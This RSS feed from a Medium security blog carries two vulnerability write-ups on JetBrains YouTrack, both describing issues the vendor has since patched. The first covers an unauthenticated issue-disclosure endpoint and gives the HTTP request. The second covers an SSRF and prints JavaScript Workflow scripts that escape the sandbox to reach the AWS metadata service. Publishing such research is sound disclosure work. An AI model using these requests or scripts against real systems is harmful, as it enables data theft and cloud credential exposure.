<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[MitmLab - Medium]]></title>
        <description><![CDATA[Cybersecurity write-ups - Medium]]></description>
        <link>https://medium.com/mitmlab?source=rss----755f7124e954---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>MitmLab - Medium</title>
            <link>https://medium.com/mitmlab?source=rss----755f7124e954---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 07:53:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/mitmlab" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I found a primitive but critical broken access control vulnerability in YouTrack…]]></title>
            <link>https://medium.com/mitmlab/how-i-found-a-primitive-but-critical-broken-access-control-vulnerability-in-youtrack-b2daea78ab43?source=rss----755f7124e954---4</link>
            <guid isPermaLink="false">https://medium.com/p/b2daea78ab43</guid>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Yurii Sanin]]></dc:creator>
            <pubDate>Tue, 24 Aug 2021 20:50:26 GMT</pubDate>
            <atom:updated>2021-08-24T20:50:25.933Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I found a primitive but critical broken access control vulnerability in YouTrack (CVE-2020–24618)</h3><p>Here is a story about how I found a primitive but critical vulnerability in JetBrains YouTrack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aaBsF6SvRyWmqI_3udZ3mQ.png" /></figure><h4>Description</h4><p>Details: <a href="https://bit.ly/37AkB7n">CVE-2020–24618</a>, <a href="https://bit.ly/3xAy3CE">Exploit</a></p><p>I was inspecting YouTrack internals and found one REST API endpoint that was unmentioned in the <a href="https://bit.ly/3jH0ycT">official documentation</a>.The endpoint allowed to return an issue description/details without Markdown markup. I did a few Authn/Authz tests, which exposed that role validation was missing, so an unprivileged user could retrieve any issue details.</p><pre><strong>Request:</strong></pre><pre>GET /rest/issue/JT-12345/descriptionWithRemovedMarkup HTTP/1.1<br>Host: youtrack.jetbrains.com<br>User-Agent: {UserAgent}<br>Accept: */*<br>Accept-Encoding: gzip, deflate<br>Connection: close</pre><pre><strong>Response:</strong></pre><pre>HTTP/1.1 200 OK<br>Server: nginx<br>Date: Thu, 13 Aug 2020 12:59:50 GMT<br>Content-Type: application/xml;charset=UTF-8<br>Content-Length: 2784<br>Connection: close<br>Access-Control-Allow-Origin: *<br>Access-Control-Expose-Headers: Location<br>X-XSS-Protection: 1; mode=block<br>X-Frame-Options: SAMEORIGIN<br>X-Content-Type-Options: nosniff<br>Referrer-Policy: strict-origin-when-cross-origin<br>Set-Cookie: YTSESSIONID=node01qnahqilj5weh3tfrk4z0d1v9075794.node0; Path=/; Secure; HttpOnly<br>Expires: Thu, 01 Jan 1970 00:00:00 GMT<br>Cache-Control: no-cache, no-store, no-transform, must-revalidate<br>Strict-Transport-Security: max-age=31536000;<br><br><strong>%ISSUE DETAILS%</strong></pre><p>I did a PoC and reported this issue to the YouTrack team almost immediately. <br>The report contained a simple HTTP GET request which exposed a description of another unpatched security issue I’ve reported before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsWV-Fz2oHMpCGsUytIEDA.png" /><figcaption>PoC: description of another one security issue</figcaption></figure><p>They took this vulnerability extremely seriously — assigned <strong>“show-stopper”</strong> priority and fixed it in <strong>less than an hour</strong>.</p><h4>Impact</h4><p>This vulnerability could allow an attacker to obtain all the issue descriptions in the application. Things are getting worse when the <a href="https://bit.ly/3lRrk5h">guest account</a> is enabled — an attacker could get all this info even without authorization. Due to the nature of the application, the issues could contain sensitive information such as credentials, information intended for internal use, or a description of unpatched security issues. Fortunately, issue comments or attached files weren’t exposed or affected in any way.</p><h4><strong>Timeline</strong></h4><p><strong>13 Aug 2020 16:07 </strong>: reported through the bug tracking system<br><strong>13 Aug 2020 16:31 </strong>: vendor confirmed the vulnerability and assigned a priority.<br><strong>13 Aug 2020 16:51 </strong>: state changed to “in-progress”.<br><strong>13 Aug 2020 17:03 </strong>: patch released by the vendor.<br><strong>16 Nov 2020 11:15 </strong>: public release of advisory.</p><p>After a few months, JetBrains released a security bulletin, and there was only one critical-severity issue (guess which one). Moreover, it was the second critical finding across all the reported vulnerabilities in JetBrains products for an entire 2020 year.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdSoC0bJ3YL3DSaOXDwNLg.png" /><figcaption>JetBrains Security Bulletin Q3 2020</figcaption></figure><p>The funny thing is that the issue was estimated as medium severity by the CVSS3.1 score. And the reason for that is “Privileges Required” metric is LOW (PR:L), which is, in fact, generally correct but not always the case. (you can exploit it without authentication when the guest user account is enabled)</p><p><strong>Mitigation:</strong></p><p>JetBrains team added checks for issue READ permission, which is approximately one line of code. For the later versions of the YouTrack, they made this functionality deprecated and deleted it at all.</p><pre>{<br>    &quot;error&quot;: &quot;Deprecated REST API is disabled&quot;<br>    &quot;error_description&quot;: &quot;https://blog.jetbrains.com/youtrack/2021/02/discontinuing-the-legacy-rest-api-action-required&quot;<br>}</pre><p>That’s it. I hope you liked this. Any questions? DM @ <a href="https://twitter.com/SaninYurii">saninyurii</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2daea78ab43" width="1" height="1" alt=""><hr><p><a href="https://medium.com/mitmlab/how-i-found-a-primitive-but-critical-broken-access-control-vulnerability-in-youtrack-b2daea78ab43">How I found a primitive but critical broken access control vulnerability in YouTrack…</a> was originally published in <a href="https://medium.com/mitmlab">MitmLab</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2020–15823: Server-Side Request Forgery (SSRF) in JetBrains YouTrack]]></title>
            <link>https://medium.com/mitmlab/cve-2020-15823-server-side-request-forgery-ssrf-in-jetbrains-youtrack-74543a86a248?source=rss----755f7124e954---4</link>
            <guid isPermaLink="false">https://medium.com/p/74543a86a248</guid>
            <category><![CDATA[youtrack]]></category>
            <category><![CDATA[jetbrains]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Yurii Sanin]]></dc:creator>
            <pubDate>Sun, 01 Aug 2021 21:27:22 GMT</pubDate>
            <atom:updated>2022-01-06T23:30:13.995Z</atom:updated>
            <content:encoded><![CDATA[<p>More than a year ago I discovered a misconfiguration that leads to SSRF in YouTrack, and here are detailed steps on how I did it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imkqEVe-uVKVotJ52DLikg.png" /></figure><h3>Background</h3><p>JetBrains YouTrack has a component called Workflows. The purpose of it is to create some automation scenarios using JavaScript. Of course, the environment is sandboxed and runs by <a href="https://github.com/mozilla/rhino">Rhino</a> engine. The engine has a LiveConnect feature, which allows interaction with Java classes from JS code. Due to security concerns, these classes have to be whitelisted by implementing a ClassShutter.</p><blockquote>Latest versions of YouTrack use <a href="https://github.com/oracle/graaljs">GraalVM</a> for Workflows.</blockquote><h3>First attempts</h3><p>I found that Workflows API has functionality for working with HTTP, so I decided to test it for SSRF issues. I’ve created code that would send GET requests to the AWS metadata service.</p><pre>var entities = require(&#39;<a href="http://twitter.com/jetbrains/youtrack-scripting-api">@jetbrains/youtrack-scripting-api</a>/entities&#39;);<br>var http = require(&#39;<a href="http://twitter.com/jetbrains/youtrack-scripting-api">@jetbrains/youtrack-scripting-api</a>/http&#39;);</pre><pre>exports.rule = entities.Issue.onChange({<br>    guard: function(ctx) {<br>        return true;<br>    },<br>    action: function(ctx) {<br>        var connection = new http.Connection(&#39;<a href="http://169.254.169.254&/#39;">http://169.254.169.254&#39;</a>);<br>        var response = connection.getSync(&#39;&#39;);<br>        if (response) {<br>        var text = &#39;&#39;;<br>        response.headers.forEach(function(header) {<br>            text += header.name + &#39;: &#39; + header.value + &#39;\n&#39;;<br>        });<br>        text += &#39;\n&#39; + response.response;<br>        ctx.issue.addComment(text);<br>        }<br>    }, requirements: {}<br>});</pre><p>As I expected, the request failed, and the following error message appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*12MdQDpMdtMnqDHfF6Q6fw.png" /></figure><p>I tried a few more requests to internal hosts, but none of them succeed. It seems like some logic inside a wrapper performs address filtering before sending an actual HTTP request. It made me think of what if there a way to initialize an HTTP client directly.</p><p>I tried to request my host to get some information about actual implementation, such as an HTTP library name and its version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*jipMT8JtvapPoTmiy9iakQ.png" /></figure><p>From the incoming request, I found that the wrapper uses Apache HTTP client, so I decided to initialize two objects with types from the org.apache.http namespace — CloseableHttpClient and HttpGet.</p><pre>var oah = Packages.org.apache.http;<br>var entities = require(&#39;<a href="http://twitter.com/jetbrains/youtrack-scripting-api">@jetbrains/youtrack-scripting-api</a>/entities&#39;);</pre><pre>exports.rule = entities.Issue.onChange({<br>guard: function(ctx) {<br>    return true; <br>},<br>action: function(ctx) {<br>    var issue = ctx.issue;<br>    var httpClient = new oah.impl.client.HttpClients.createDefault();<br>    var request = new oah.client.methods.HttpGet(&quot;<a href="http://169.254.169.254/">http://169.254.169.254</a>&quot;); <br>    var response = httpClient.execute(request);<br>    var entity = response.getEntity();</pre><pre>issue.addComment(response);<br>  <br>    }, requirements: {}<br>});</pre><p>I was really surprised when the script finished without errors and I got a response object with a 200 HTTP status code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*mL2Bo2RukNNKIQTeDobKYw.png" /></figure><p>It seems like developers left some of the classes/namespaces whitelisted for debug purposes (CloseableHttpClient, HttpGet) and this allowed me to perform an HTTP request to the AWS metadata service.</p><p>Here is the next problem — as a response result, we have an object of type HttpEntity or InputStream. None of them have built-in methods that can return a string representation of the response content, so we have to use the toString method from classes EntityUtils or IOUtils to do it. Unfortunately, none of these classes were available in this context which makes the SSRF semi-blind.</p><p>After a couple of minutes of inspecting Workflows API internals, I found usage of the static method Utils.readString from jetbrains.youtrack.scripts.sandbox namespace, which seemed like a wrapper method for IOUtils.toString, and does the same thing — gets the contents of an InputStream.</p><h3>Proof Of Concept</h3><p>Finally, I was able to craft a script that returns AWS metadata of the EC2 instance.</p><pre>var oah = Packages.org.apache.http;<br>var sandbox = Packages.jetbrains.youtrack.scripts.sandbox;<br>var entities = require(&#39;<a href="http://twitter.com/jetbrains/youtrack-scripting-api">@jetbrains/youtrack-scripting-api</a>/entities&#39;);</pre><pre>exports.rule = entities.Issue.onChange({<br>guard: function(ctx) {<br>    return true; <br>},<br>action: function(ctx) {<br>    var issue = ctx.issue;<br>    var httpClient = new oah.impl.client.HttpClients.createDefault();<br>    var request = new oah.client.methods.HttpGet(&quot;<a href="http://169.254.169.254/">http://169.254.169.254</a>&quot;); <br>    var response = httpClient.execute(request);<br>    var entity = response.getEntity();</pre><pre>issue.addComment(response);</pre><pre>if (entity != null) {<br>        var content = entity.getContent();<br>        var contentEncoding = entity.getContentEncoding() ? <br>            entity.getContentEncoding().getValue() :<br>            &#39;UTF-8&#39;;<br>        var body = sandbox.Utils.readString(content, contentEncoding);<br>        issue.addComment(body); <br>        }<br>    }, requirements: {}<br>});</pre><p>Fortunately, the script finished without errors, and AWS metadata versions appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pY-GkOWIkdTa47pQiDwlYA.png" /></figure><h3>Mitigation</h3><p>YouTrack team deleted org.apache.http.impl.client package from whitelist in ClassShutter, which makes it impossible to escape the HTTP client wrapper.</p><p>That’s it. I hope you liked this. Any questions? DM @ <a href="https://twitter.com/SaninYurii">saninyurii</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74543a86a248" width="1" height="1" alt=""><hr><p><a href="https://medium.com/mitmlab/cve-2020-15823-server-side-request-forgery-ssrf-in-jetbrains-youtrack-74543a86a248">CVE-2020–15823: Server-Side Request Forgery (SSRF) in JetBrains YouTrack</a> was originally published in <a href="https://medium.com/mitmlab">MitmLab</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>